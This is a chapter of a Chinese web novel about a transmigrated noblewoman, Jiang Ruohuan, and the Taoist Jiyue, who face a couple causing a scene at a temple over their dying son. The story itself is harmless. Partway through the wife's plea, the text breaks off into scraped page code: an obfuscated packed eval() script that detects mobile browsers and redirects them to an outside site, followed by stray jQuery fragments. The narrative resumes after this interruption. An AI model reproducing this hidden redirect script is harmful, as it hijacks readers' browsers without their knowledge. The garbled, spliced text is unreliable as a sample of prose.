23. 找茬

作品:《被魂穿后,我成了万人嫌

    姜若欢直接被气笑了。


    霁月眨了眨眼,像是一只蜻蜓在平静湖水中轻点一下,就欲开口,身旁的姜若欢却先说话了。


    “你但凡知道我是谁,我嫁了何人,你都说不出这种话来。”


    看着姜若欢气定神闲的模样,那汉子心头直打鼓,可他四下望去,没一个人认出眼前人来,他料定面前人在京安定然不是什么大人物,不然在场这么多京安来的大人物,为什么都不认得她?


    姜若欢见众人都没反应,才想起自个从嫁入谢家后,除了去勇毅侯府,确实没用谢三少夫人的身份在各家走动过。


    她这也才后知后觉,她的身份在谢家的尴尬之处。


    但没见过她真人,总是听过的。


    “我是姜家的女儿,前段日子嫁给了三公子。”


    此言一出,在场诸人立时反应过来,对于她如此维护霁月也瞬时了然。


    人家夫妻俩,自然是相扶相持的。


    汉子听到席间议论,也知晓了两人关系,心虚地向后退了两步。


    “就算你们是夫妻,可霁月道长还在山上清修呢,照样要守清规戒律!”


    这汉子的话叫姜若欢更是笃定眼前这人是来找茬儿的!


    “我们心中有道,自然会守,只是这是我们的事,与你何干?现今是说你怀中孩子的事,你有空在这里同我们闲扯,不若听霁月道长的话,将人送去旁边寮房,麻烦道长们好生看看,不然遭罪的还是这孩子!”


    她看着窝在汉子怀中的孩子,小眉头一直紧皱着,更叫人忧心的是他的神色已然灰败。


    “我虽还没有做母亲,我的母亲也早早去世,可我有父亲,我幼时生病,就算我父亲公务繁忙,也会彻夜守着我,在我难受时,哄着我吃药、哄着我睡觉,可不会像你们这般折腾孩子。”


    在座之人也深觉如此,也站出来说起了公道话。


    “你们在这里说什么开坛施法,霁月道长都说了这孩子是生病了,又不是中邪了!”


    “就是,要真心疼孩子,是该送去旁边麻烦道长给他好生看看才是!”


    “你们胡说什么?”汉子急得满头大汗,“明明是霁月,他见死不救!明明他有法子的,他就是嫌贫爱富,他看不起我们穷人!装什么世外高人,其实就是个伪善之人!”


    姜若欢没理面前急得跳脚的汉子,而是蹲下身来,望着跪在地上的妇人,温声道:“你是做母亲的,孩子就是你身上掉下来的一块肉,你不想跟孩子好好道别吗?”


    妇人眉间全是凄苦风霜,正欲开口,却听汉子道:“婆娘,别听这娘儿们的,他们是两口子,一伙儿的,就是想仗势欺人!”


    那汉子说话时,是唾沫横飞,姜若欢还不及退后两步,霁月微微侧身像个屏障又挡在了她的身前。


    “福主,这是道观,真人高悬,何苦纠缠?”


    那汉子鼓着双眼,顺着这话道:“对啊,神像端坐于上,你见死不救,是真不怕天打雷劈啊!你修什么道啊?都修到狗肚子里了,是吧?”


    这汉子狰狞面孔毕现,是铁了心不叫霁月好好开这场法会了。


    姜若欢算是看明白了,这人就是在耍无赖,玩儿横的,对他客气也是白搭。


    她不动声色地拉了拉霁月衣角,示意让她来跟那汉子交涉,而后她重新同霁月并排而立。


    “霁月道长都说了,自个医术寻常,可让道中旁的道长替你儿诊治,可你们偏纠缠着霁月道长不放是什么意思?难不成别有居心?”


    汉子额头青筋暴起。


    “我能有什么居心?我儿子还在我怀里呢,他可是我们家独苗苗,我就只想着救活他!家里银子都花光了,就是替他治病,我们还能有什么法子?”


    “那你们没法子就来逼霁月道长?说什么逆天改命,若真的有这等法子,这世道岂不就乱了?你们也不想想,可能吗?而且你们有功夫在这里同我们纠缠,说不得这孩子还能有一线生机,现今……”


    姜若欢又低头看了眼汉子怀中的孩子,眉宇间满是不忍。


    那孩子状态很不好,胸口起伏愈发小了。


    “这孩子只怕更不好了,大热天,你们有心疼过孩子吗?这般折腾他!反正若是我病得要死了,我父亲定然是想尽办法,求也要求得名医来诊,定然舍不得我受这般苦楚!”


    霁月心中一动,想到了两年前,一对父女来到观中,求观主为其女儿起卦。


    修道之人,所擅之事各有不同,有的于道经一途很有造诣,有的于医术颇有心得,而有的擅长起卦相面,观主于卦术一道不算擅长,故寻到了他,说有桩奇事,不敢断定,让他一道看看。


    就这样,他看到了一位满面风霜的中年人和一个漠不关心的女儿,可饶是如此,那中年男子不是责怪,话中和眼中更多的是自责和心疼。


    姜若欢此言一出,众人是议论纷纷。


    “就是,怎么有这样求人的?”


    “瞧着就是来找茬儿的,若是我的孩子,听得有人愿意救他,我是感恩戴德都来不及啊。”


    “我瞧着他们也不是诚心来求医的!”


    ……


    姜若欢见目的达到,又加了把火。


    “你们夫妻俩这般做派,我都要怀疑你们不是这孩子的生身父母了!”


    霁月跑远的神思被姜若欢这句话拉回,他配合回身同一旁的道长言:“烦请师弟去官府走一遭,查明这对夫妻身份,看看孩子是否是他们的。”


    “你胡说什么?这孩子当然是我们夫妻俩的啊,你自己好好看看,这孩子跟我长得一个模子刻出来的!”


    汉子越说越激动,重新往前逼近了两步,霁月护着姜若欢往后退了退。


    姜若欢摇头。


    “我看着是一点都不像。”


    汉子本就不是个情绪稳定的人,被姜若欢这话一激,是火冒三丈。


    “你个瓜婆娘,乱说什么呢?今儿我要给你好看,看你还敢不敢乱遭老子的谣!”


    他毫不怜惜地一把将孩子塞到还跪在地上的妇人手中,抬手就要来打姜若欢,霁月一把将人护在身后,伸手挡住了他挥来的手。


    “福主,请自重,众目睽睽之下,贫道只有将你交去官府了!”


    一言出,那汉子顿时怂了,就要抽回手,愣是没抽动,抬头就要求饶,可不期然望进一双寒如深潭的眸中,冷不丁缩了缩脖子。


    “道长,道长我知道错了,我不是故意的,我就是太……”


    妇人连忙把话接过。


    “道长,求道长饶了他吧,他就是太担心孩子了,他不是有意要冒犯夫人的,求求您,我们家为了救孩子已经要连饭都吃不起了,家里还有个半大不小的闺女,我……我肚子里还有一个……”


    妇人抱着孩子,跪在地上,声声泣血。


    “若是他再被送去官府,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16515697|184170||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我们家就没壮劳力了,我们母女俩怕是只有去死了……”


    若不是为此……她也不会在此苦苦纠缠。


    为了救怀中这个孩子,家里能卖的都卖了,地也都卖得差不多了,就剩点田,他们庄稼人就指望着这点收成过活了。


    若是今日不成,孩子没得救,连闺女说不得都要被她丈夫或卖或送了。


    姜若欢心内叹了口气,是可怜之人,也是可恨之人。


    “霁月道长心慈,还是先让道长将你们带去旁边的寮房,看看孩子吧,之后的事情再商议。”


    妇人一听,双眼一亮,对着两人又是连连磕头。


    “多谢夫人,多谢霁月道长。”


    等在一边的两位道长见了,一人帮忙接过孩子,一人引路,可就在此时,那汉子竟拔足往道场外狂奔而去。


    清月观的道士每日里都有功课,文课和武课都有,想要揪住这样一个汉子,当然不在话下,可霁月却出声阻止了。


    “让他离开吧,劳烦师兄弟们先去瞧瞧这孩子。”


    这是不再追究的意思,霁月此番气度,更叫在场之人折服。


    待这场闹剧结束,霁月继续为在场诸人答疑解惑,而姜若欢则悄悄跟去了寮房。


    不出所料,这孩子没救了。


    妇人不甘心,泪眼婆娑地问道:“若霁月道长来施针……”


    “方才你也听霁月道长说了,他施针,也不过是叫你们好好道别。”姜若欢不想道医们为难,抢先把话说了。


    妇人一听,泪水止不住又流了下来。


    道医们摇头叹息,渐次退了出去,就留了母子两人和姜若欢在内。


    姜若欢见孩子还未醒来,想着自个委实没多少时间可以耽搁了,干脆开口问了起来。


    “这位嫂子,我就开门见山了,霁月道长从未得罪过你们,你们今日为何来寻他麻烦?”


    妇人浑身一僵,顾不得悲伤了,是急急否认。


    “没……我们真的只是来求道长救命的……”


    姜若欢看着泪糊了满脸的妇人,起身将手中帕子递给了她,但面上神色却未松动。


    “嫂子,我叫你一声嫂子,是觉得为母不易,你还是老实交代,咱们两心相安才是,以后也能好好过日子,若是不说……”


    她的眼神遽然一变,厉芒毕现。


    “我们自也不会欺压你们,只是就事论事,你丈夫今日可是要对我和霁月道长动手啊。霁月道长可以不计较他那一份,我不一定不计较我这份,你说,是吧?”


    “你……你们是夫妻,夫妻本是一体……”


    那妇人拿着姜若欢的手帕,眼巴巴地望着她,连擦脸都忘了。


    姜若欢见状,干脆又将帕子拿过来,亲手替她擦着脸。


    “夫妻是一体,但夫妻前,我们又是单独的一个人,你说,是吧?何况霁月道长还未还俗,他管不到我。你不为你想,你总要为孩子想。若你的丈夫真被送进官府,你说村里人会如何想你们?以后孩子可否抬得起头?”


    妇人眼眶又湿润起来,放在腿上的双手揪紧了满是补丁的裙摆。


    姜若欢将一切尽收眼底,再接再厉:“若是你都同我交代了,我可以给你点银子,不多,但足可以熬个两三年。”


    “我……”


    妇人咬紧了她干燥起皮的唇瓣,一只手缓缓捂上了自个的小腹。


    “我说!”